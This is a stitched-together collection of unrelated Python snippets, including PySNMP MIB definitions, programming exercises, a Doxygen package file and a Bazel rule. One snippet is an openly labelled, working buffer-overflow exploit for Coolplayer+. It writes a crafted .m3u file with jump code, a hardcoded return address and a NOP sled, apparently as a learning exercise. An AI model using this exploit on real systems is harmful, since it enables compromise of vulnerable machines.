["v","m3","m5","m5","b3","m5","b3","m5","m5","m3","v"], ["m3","m5","b3","b3","b3","p1","b3","m5","b3","e1","m3"], ["m3","e1","b3","m5","b3","b3","b3","b3","b3","m5","m3"], ["v","m3","m5","m5","b3","m5","b3","m5","m5","m3","v"], ["v","m3","e1","b3","b3","m5","b3","b3","e1","m3","v"], ["v","v","m3","m3","b3","e1","m5","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]])]
# # PySNMP MIB module S5-TCS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/S5-TCS-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:35:57 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsUnion") s5Tcs, = mibBuilder.importSymbols("S5-ROOT-MIB", "s5Tcs") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") ModuleIdentity, Counter64, NotificationType, Unsigned32, Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, ObjectIdentity, MibIdentifier, Bits, Counter32, iso, TimeTicks, Integer32, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "ModuleIdentity", "Counter64", "NotificationType", "Unsigned32", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ObjectIdentity", "MibIdentifier", "Bits", "Counter32", "iso", "TimeTicks", "Integer32", "IpAddress") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") s5TcsMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 45, 1, 6, 17, 0)) s5TcsMib.setRevisions(('2013-10-10 00:00', '2004-07-20 00:00',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: s5TcsMib.setRevisionsDescriptions(('Version 114: Add Integer32 to IMPORTS.', 'Version 113: Conversion to SMIv2',)) if mibBuilder.loadTexts: s5TcsMib.setLastUpdated('201310100000Z') if mibBuilder.loadTexts: s5TcsMib.setOrganization('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setContactInfo('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setDescription("5000 Common Textual Conventions MIB Copyright 1993-2004 Nortel Networks, Inc. All rights reserved. This Nortel Networks SNMP Management Information Base Specification (Specification) embodies Nortel Networks' confidential and proprietary intellectual property. Nortel Networks retains all title and ownership in the Specification, including any revisions. This Specification is supplied 'AS IS,' and Nortel Networks makes no warranty, either express or implied, as to the use, operation, condition, or performance of the Specification.") class IpxAddress(TextualConvention, OctetString): description = "A textual convention for IPX addresses. The first four bytes are the network number in 'network order'. The last 6 bytes are the MAC address." status = 'current' subtypeSpec = OctetString.subtypeSpec + ValueSizeConstraint(10, 10) fixedLength = 10 class TimeIntervalHrd(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of 0.01 seconds.' status = 'current' class TimeIntervalSec(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of seconds.' status = 'current' class SrcIndx(TextualConvention, Integer32): description = "A textual convention for an Index of a 'source'. The values are encoded so that the same MIB object can be used to describe the same type of data, but from different sources. For the 5000 Chassis, this is encoded in the following base 10 fields: 1bbiii - identifies an interface on an NMM where 'bb' is the board index and 'iii' is the interface number. 2bbppp - identifies a connectivity port on a board where 'bb' is the board INDEX and 'ppp' is the port INDEX. 3bblll - identifies a local channel on a board where 'bb' is the board INDEX and 'll' is the local channel INDEX. 4bbccc - identifies a cluster on a board where 'bb' is the board INDEX and 'cc' is the cluster INDEX. 5bbfff - identifies a FPU on a board where 'bb' is the board INDEX, and 'fff' is the FPU INDEX. 6bbnnn - identifies host board backplane counters where 'bb' is the board INDEX, and 'nnn' is the segment INDEX. 7bbccc - identifies a NULL segment on a board where 'bb' is the board INDEX, and 'ccc' is the cluster INDEX. 8mmnnn - identifies a sum across all host board(s) connected to a given backplane segment where 'mm' is media type, and 'nnn' is the segment INDEX. (NOTE: This is currently only valid for Ethernet.)" status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 999999) class MediaType(TextualConvention, Integer32): description = 'A textual convention for Media types' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("other", 1), ("eth", 2), ("tok", 3), ("fddi", 4)) class FddiBkNetMode(TextualConvention, Integer32): description = 'The FDDI backplane mode.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("other", 1), ("thruLow", 2), ("thruHigh", 3), ("thruLowThruHigh", 4)) class BkNetId(TextualConvention, Integer32): description = 'The backplane network ID. This is a numeric assignment made to a backplane channel, a piece of a divided backplane channel, or a grouping of several backplane channels (which is done for FDDI). The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into networks, and by grouping when allowed by the media (such as FDDI). Different media and backplane implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 255) class BkChan(TextualConvention, Integer32): description = 'The physical backplane channel identification. This does not change when a backplane is divided. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 255) class LocChan(TextualConvention, Integer32): description = 'The physical local channel identification. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 255) class AttId(TextualConvention, Integer32): description = 'The attachment ID. This is either a backplane network ID, a local channel, or as an indication of no backplane network attachment. Negative numbers are used to identify local channels on a board. Where used, the board must also be specified (or implied). A value of zero is used to indicate no (or null) attachment. Positive numbers are the backplane network IDs. The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into backplane networks, and by grouping when allowed by the media (such as FDDI). Different media and implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(-255, 255) mibBuilder.exportSymbols("S5-TCS-MIB", TimeIntervalSec=TimeIntervalSec, MediaType=MediaType, IpxAddress=IpxAddress, TimeIntervalHrd=TimeIntervalHrd, LocChan=LocChan, SrcIndx=SrcIndx, AttId=AttId, PYSNMP_MODULE_ID=s5TcsMib, s5TcsMib=s5TcsMib, BkNetId=BkNetId, FddiBkNetMode=FddiBkNetMode, BkChan=BkChan)
cnt = 1; for i in [10, 2, 7] : print("%d : " % cnt , end = "" ); for j in range(1, i+1, 1) : print("■", end = ""); print(" (%d)" % i); cnt += 1;
STRING_51_CHARS = "SFOTYFUZTMDSOULXMKVFDOBQWNBAVGANMVLXQQZZQZQHBLJRZNY" STRING_301_CHARS = ( "ZFOMVKXETILJKBZPVKOYAUPNYWWWUICNEVXVPWNAMGCNHDBRMATGPMUHUZHUJKFWWLXBQXVDNCGJHAPKEK" "DZCXKBXEHWCWBYDIGNYXTOFWWNLPBTVIGTNQKIQDHUAHZPWQDKKCHERBYKLAUOOKJXJJLGOPSCRVEHCOAD" "BFYKJTXHMPPYWQVXCVGNNSXLNIHVKTVMEOIRXQDPLHIDZBAHUEDWXKXILEBOLILOYGZLNGCNXKWMFJWYYI" "PIDUKJVGKTUERTPRMMMVZNAAOMZJFXFSEENCAMBOUJMYXTPHJEOPKDB" ) STRING_3001_CHARS = ( "UJSUOROQMIMCCCGFHQJVJXBCPWAOIMVOIIPFZGIZOBZWJHQLIABTGHXJMYVWYCFUIOWMVLJPJOHDVZRHUE" "SVNQTHGXFKMGNBPRALVWQEYTFBKKKFUONDFRALDRZHKPGTWZAXOUFQJKOGTMYSFEDBEQQXIGKZMXNKDCEN" "LSVHNGWVCIDMNSIZTBWBBVUMLPHRUCIZLZBFEGNFXZNJEZBUTNHNCYWWYSJSJDNOPPGHUPZLPJWDKEATZO" "UGKZEGFTFBGZDNRITDFBDJLYDGETUHBDGFEELBJBDMSRBVFPXMRJXWULONCZRZZBNFOPARFNXPQONKEIKG" "QDPJWCMGYSEIBAOLJNWPJVUSMJGCSQBLGZCWXJOYJHIZMNFMTLUQFGEBOONOZMGBWORFEUGYIUJAKLVAJZ" "FTNOPOZNMUJPWRMGPKNQSBMZQRJXLRQJPYYUXLFUPICAFTXDTQIUOQRCSLWPHHUZAOPVTBRCXWUIXMFGYT" "RBKPWJJXNQPLIAZAOKIMDWCDZABPLNOXYOZZBTHSDIPXXBKXKOSYYCITFSMNVIOCNGEMRKRBPCLBOCXBZQ" "VVWKNJBPWQNJOJWAGAIBOBFRVDWLXVBLMBSXYLOAWMPLKJOVHABNNIFTKTKBIIBOSHYQZRUFPPPRDQPMUV" "WMSWBLRUHKEMUFHIMZRUNNITKWYIWRXYPGFPXMNOABRWXGQFCWOYMMBYRQQLOIBFENIZBUIWLMDTIXCPXW" "NNHBSRPSMCQIMYRCFCPLQQGVOHYZOUGFEXDTOETUKQAXOCNGYBYPYWDQHYOKPCCORGRNHXZAAYYZGSWWGS" "CMJVCTAJUOMIMYRSVQGGPHCENXHLNFJJOEKIQWNYKBGKBMBJSFKKKYEPVXMOTAGFECZWQGVAEXHIAKTWYO" "WFYMDMNNHWZGBHDEXYGRYQVXQXZJYAWLJLWUGQGPHAYJWJQWRQZBNAMNGEPVPPUMOFTOZNYLEXLWWUTABR" "OLHPFFSWTZGYPAZJXRRPATWXKRDFQJRAEOBFNIWVZDKLNYXUFBOAWSDSKFYYRTADBBYHEWNZSTDXAAOQCD" "WARSJZONQXRACMNBXZSEWZYBWADNDVRXBNJPJZQUNDYLBASCLCPFJWAMJUQAHBUZYDTIQPBPNJVVOHISZP" "VGBDNXFIHYCABTSVNVILZUPPZXMPPZVBRTRHDGHTXXLBIYTMRDOUBYBVHVVKQAXAKISFJNUTRZKOCACJAX" "ZXRRKMFOKYBHFUDBIXFAQSNUTYFNVQNGYWPJZGTLQUMOWXKKTUZGOUXAOVLQMMNKKECQCCOBNPPPXZYWZU" "WHLHZQDIETDDPXWTILXGAYJKPHBXPLRFDPDSHFUPOIWRQDWQQNARPHPVKJPXZGGXOUVBYZSLUPVIJKWKNF" "WMFKWYSYJJCCSCALMVPYIPHDKRXOWTUAYJFTAANCTVYDNSSIHGCWGKLDHFFBFSIFBMGHHFHZQSWOWZXOUW" "PKNICGXPFMFIESHPDDMGSSWGBIAQVBANHLGDBYENRLSUARJXLQWPMOUSUKIIVXICBJPSWOEZPEUAJSLITV" "XEQWSRENUJRJHPLBPFMBRPKGQNSYFWVLFLSQGGETKDUGYOLNFSMRVAZLQOAEKCUGNFEXRUDYSKBOQPYJAH" "QHEIMSAAMTTYVJTHZDGQEITLERRYYQCTEQPTYQPHLMBDPCZZNNJYLGAGNXONCTIBSXEHXPYWBCTEEZLIYI" "FMPYONXRVLSGZOEDZIMVDDPRXBKCKEPHOVLRBSPKMLZPXNRZVSSSYAOMGSVJODUZAJDYLGUZAFJMCOVGQX" "ZUWQJENTEWQRFZYQTVEAHFQUWBUCFWHGRTMNQQFSPKKYYUBJVXKFQCCMBNGWNTRFGFKBFWTTPNDTGGWTAK" "EOTXUPGFXOVWTOERFQSEZWVUYMGHVBQZIKIBJCNMKTZANNNOVMYTFLQYVNKTVZHFUJTPWNQWRYKGMYRYDC" "WNTCUCYJCWXMMOJXUJSDWJKTTYOBFJFLBUCECGTVWKELCBDIKDUDOBLZLHYJQTVHXSUAFHDFDMETLHHEEJ" "XJYWEOTXAUOZARSSQTBBXULKBBSTQHMJAAOUDIQCCETFWAINYIJCGXCILMDCAUYDMNZBDKIPVRCKCYKOIG" "JHBLUHPOLDBWREFAZVEFFSOQQHMCXQYCQGMBHYKHJDBZXRAXLVZNYQXZEQYRSZHKKGCSOOEGNPFZDNGIMJ" "QCXAEWWDYIGTQMJKBTMGSJAJCKIODCAEXVEGYCUBEEGCMARPJIKNAROJHYHKKTKGKKRVVSVYADCJXGSXAR" "KGOUSUSZGJGFIKJDKJUIRQVSAHSTBCVOWZJDCCBWNNCBIYTCNOUPEYACCEWZNGETBTDJWQIEWRYIQXOZKP" "ULDPCINLDFFPNORJHOZBSSYPPYNZTLXBRFZGBECKTTNVIHYNKGBXTTIXIKRBGVAPNWBPFNCGWQMZHBAHBX" "MFEPSWVBUDLYDIVLZFHXTQJWUNWQHSWSCYFXQQSVORFQGUQIHUAJYFLBNBKJPOEIPYATRMNMGUTTVBOUHE" "ZKXVAUEXCJYSCZEMGWTPXMQJEUWYHTFJQTBOQBEPQIPDYLBPIKKGPVYPOVLPPHYNGNWFTNQCDAATJVKRHC" "OZGEBPFZZDPPZOWQCDFQZJAMXLVREYJQQFTQJKHMLRFJCVPVCTSVFVAGDVNXIGINSGHKGTWCKXNRZCZFVX" "FPKZHPOMJTQOIVDIYKEVIIBAUHEDGOUNPCPMVLTZQLICXKKIYRJASBNDUZAONDDLQNVRXGWNQAOWSJSFWU" "YWTTLOVXIJYERRZQCJMRZHCXEEAKYCLEICUWOJUXWHAPHQJDTBVRPVWTMCJRAUYCOTFXLLIQLOBASBMPED" "KLDZDWDYAPXCKLZMEFIAOFYGFLBMURWVBFJDDEFXNIQOORYRMNROGVCOESSHSNIBNFRHPSWVAUQQVDMAHX" "STDOVZMZEFRRFCKOLDOOFVOBCPRRLGYFJNXVPPUZONOSALUUI" )
# You will be given series of strings until you receive an "end" command. Write a program that reverses strings and prints each pair on separate line in the format "{word} = {reversed word}". while True: word = input() if word == 'end': break reversed_word = word[::-1] print(f"{word} = {reversed_word}")
name = "doxygen" version = "1.8.18" authors = [ "Dimitri van Heesch" ] description = \ """ Doxygen is the de facto standard tool for generating documentation from annotated C++ sources, but it also supports other popular programming languages such as C, Objective-C, C#, PHP, Java, Python, IDL (Corba, Microsoft, and UNO/OpenOffice flavors), Fortran, VHDL, and to some extent D. """ requires = [ "bison-3+", "cmake-3+", "flex-2+", "gcc-6+", "python-2.7+<3" ] variants = [ ["platform-linux"] ] tools = [ ] build_system = "cmake" with scope("config") as config: config.build_thread_count = "logical_cores" uuid = "doxygen-{version}".format(version=str(version)) def commands(): env.PATH.prepend("{root}/bin") # Helper environment variables. env.DOXYGEN_BINARY_PATH.set("{root}/bin")
class Node(): def __init__(self, data=None, left=None, right=None): self.data = data self.left = left self.right = right def tree_in(node_list): list_in = input().split() l = len(list_in) node_list.append(Node(list_in[0])) for i in range(1, l): if list_in[i] == "None": node_list.append(None) else: new_node = Node(list_in[i]) node_list.append(new_node) if(i % 2 == 1): k = (i-1)//2 while(node_list[k] == None): k += 1 node_list[k].left = new_node else: k = (i-2)//2 while (node_list[k] == None): k += 1 node_list[k].right = new_node node_list = [] tree_in(node_list) ans = 0 for i in node_list: if(i == None): pass elif(i.left == None): pass else: ans += int(i.left.data) print(ans)
for t in range(int(input())): n,k,v=map(int,input().split()) a=list(map(int,input().split())) s=0 for i in range(n): s+=a[i] x=(((n+k)*v)-s)/k x=float(x) if x>0: if((x).is_integer()): print(int(x)) else: print(-1) else: print(-1)
def linha(tam=42): return '-'*tam def cab(txt): print(linha()) print(txt.center(42)) print(linha()) def leiaint(msg): while True: try: n=int(input(msg)) except(ValueError, TypeError): print(f'\033[31mERRO: Por favor, digite um número inteiro valido.\033[m') continue except (KeyboardInterrupt): print('\033[31mEntrada de dados interrompida pelo usuario.\033[m') return 0 else: return n def menu(lista): cab('Menu principal') c=1 for item in lista: print(f'{c} - {item}') c+=1 print(linha()) opc=leiaint('Sua Opc: ') return opc
# Definition for a binary tree node. class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: def diameterOfBinaryTree(self, root): self.ans = 1 def dfs(node): if not node: return 0 l = dfs(node.left) r = dfs(node.right) self.ans = max(self.ans, l + r + 1) return max(l, r) + 1 dfs(root) return self.ans - 1
#!/usr/bin/python # Author: Michael Music # Date: 8/1/2019 # Description: Coolplayer+ Buffer Overflow Exploit # Exercise in BOFs following the securitysift guide # Tested on Windows XP # Notes: # I will be assuming that EBX is the only register pointing to input buffer. # Since EBX points to the very beginning of the buffer, and EIP is at offset 260 # I will need to put a JMP EBX address in EIP, then have JMP code in the beginning # of the buffer to JMP over the remaining junk until EIP, over EIP, over some nops # then into shellcode. # The custom JMP code will add bytes to the address in the EBX register, then jump to it. # This would end up be something like add [EBX] 280, JMP EBX # App must be installed, launched at C:/ # m3u file must be located at C:/ # EIP at offset 260 # ESP at offset 264 # EDX at offset 0 # EBX at offset 0 # There is only around 250 bytes worth of spaces at ESP, so it's limited # Can't fit shellcode in beginning of buffer (where EBX/EDX point), as EIP is at 260 # EBX points to much more space, around 10000 bytes # Solution is to JMP EBX, launch custom JMP code to jump over EIP,ESP and into shellcode # Exploit: [Custom JMP code - jump to nops][Junk][EIP - JMP EBX][nops][shellcode][Junk] # Found a JMP EBX at 0x7c873c53 in kernel32.dll exploit_string = '' # Start of buffer, contains JMP code to jump 300 bytes # Add 100 to EBX 3 times, do this to avoid using nulls if adding 300 exploit_string += '\x83\xc3\x64' * 3 # JMP EBX exploit_string += '\xff\xe3' exploit_string += '\x41' * (260-len(exploit_string)) # EIP, which should be an address for JMP EBX #exploit_string += '\x42' * 4 exploit_string += '\x53\x3c\x87\x7c' # NOP sled where the custom JMP code will land exploit_string += '\x90' * 60 # Shellcode exploit_string += '\xcc' * 500 # Filler to cause the overflow exploit_string += '\x43' * (10000 - len(exploit_string)) out = 'crash.m3u' text = open(out, 'w') text.write(exploit_string) text.close
"""Generate model benchmark source file using template. """ _TEMPLATE = "//src/cpp:models_benchmark.cc.template" def _generate_models_benchmark_src_impl(ctx): ctx.actions.expand_template( template = ctx.file._template, output = ctx.outputs.source_file, substitutions = { "{BENCHMARK_NAME}": ctx.attr.benchmark_name, "{TFLITE_CPU_FILEPATH}": ctx.attr.tflite_cpu_filepath, "{TFLITE_EDGETPU_FILEPATH}": ctx.attr.tflite_edgetpu_filepath, }, ) generate_models_benchmark_src = rule( implementation = _generate_models_benchmark_src_impl, attrs = { "benchmark_name": attr.string(mandatory = True), "tflite_cpu_filepath": attr.string(mandatory = True), "tflite_edgetpu_filepath": attr.string(mandatory = True), "_template": attr.label( default = Label(_TEMPLATE), allow_single_file = True, ), }, outputs = {"source_file": "%{name}.cc"}, )
def is_true(value): """ Helper function for getting a bool form a query string. """ if hasattr(value, "lower"): return value.lower() not in ("false", "0") return bool(value)
# # PySNMP MIB module EICON-MIB-TRACE (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/EICON-MIB-TRACE # Produced by pysmi-0.3.4 at Mon Apr 29 18:45:10 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") MibScalar, MibTable, MibTableRow, MibTableColumn, NotificationType, ObjectIdentity, iso, Integer32, Gauge32, Unsigned32, enterprises, Bits, TimeTicks, Counter64, MibIdentifier, Counter32, ModuleIdentity, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "NotificationType", "ObjectIdentity", "iso", "Integer32", "Gauge32", "Unsigned32", "enterprises", "Bits", "TimeTicks", "Counter64", "MibIdentifier", "Counter32", "ModuleIdentity", "IpAddress") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") eicon = MibIdentifier((1, 3, 6, 1, 4, 1, 434)) management = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2)) mibv2 = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2)) module = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4)) class ActionState(Integer32): subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3)) namedValues = NamedValues(("done", 1), ("failed", 2), ("in-progress", 3)) class ControlOnOff(Integer32): subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3)) namedValues = NamedValues(("stop", 1), ("start", 2), ("invalid", 3)) class CardRef(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 6) class PortRef(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 48) class PositiveInteger(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) trace = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15)) traceFreeEntryIndex = MibScalar((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceFreeEntryIndex.setStatus('mandatory') traceControlTable = MibTable((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2), ) if mibBuilder.loadTexts: traceControlTable.setStatus('mandatory') traceControlEntry = MibTableRow((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1), ).setIndexNames((0, "EICON-MIB-TRACE", "traceCntrlIndex")) if mibBuilder.loadTexts: traceControlEntry.setStatus('mandatory') traceCntrlIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlIndex.setStatus('mandatory') traceCntrlEntryStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("invalid", 1), ("create", 2), ("valid", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryStatus.setStatus('mandatory') traceCntrlEntryOwner = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 3), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryOwner.setStatus('mandatory') traceCntrlProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=NamedValues(("x25", 1), ("sdlc", 2), ("frelay", 3), ("hdlc", 4), ("xportiso", 5), ("xporttgx", 6), ("llc", 7), ("sna", 8), ("ppp", 9), ("snafr", 10)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlProtocol.setStatus('mandatory') traceCntrlEntryReclaimTime = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 5), TimeTicks()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryReclaimTime.setStatus('mandatory') traceCntrlOnOff = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("start", 1), ("read", 2), ("stop", 3), ("invalid", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlOnOff.setStatus('mandatory') traceCntrlActionState = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 7), ActionState()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlActionState.setStatus('mandatory') traceCntrlActionError = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("no-error", 1), ("bad-param", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlActionError.setStatus('mandatory') traceCntrlFileName = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 9), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 128))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlFileName.setStatus('mandatory') traceCntrlCardRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 10), CardRef()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlCardRef.setStatus('mandatory') traceCntrlPortRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 11), PortRef()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPortRef.setStatus('mandatory') traceCntrlConnectionRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 12), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlConnectionRef.setStatus('mandatory') traceCntrlPURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 13), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPURef.setStatus('mandatory') traceCntrlModeRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 14), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlModeRef.setStatus('mandatory') traceCntrlLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 15), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlLURef.setStatus('mandatory') traceCntrlStationRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 16), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlStationRef.setStatus('mandatory') traceCntrlLLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 17), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlLLURef.setStatus('mandatory') traceCntrlRLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 18), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlRLURef.setStatus('mandatory') traceCntrlOption = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 19), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("append", 1), ("clear", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlOption.setStatus('mandatory') traceCntrlPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 20), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPeriod.setStatus('mandatory') traceCntrlMask = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 21), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlMask.setStatus('mandatory') traceCntrlBufSize = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 22), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlBufSize.setStatus('mandatory') traceCntrlEntrySize = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 23), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntrySize.setStatus('mandatory') traceCntrlBufFullAction = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 24), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("wrap", 1), ("stop", 2), ("stopAndAlarm", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlBufFullAction.setStatus('mandatory') traceCntrlReadFromEntryIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 25), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlReadFromEntryIndex.setStatus('mandatory') traceCntrlFileType = 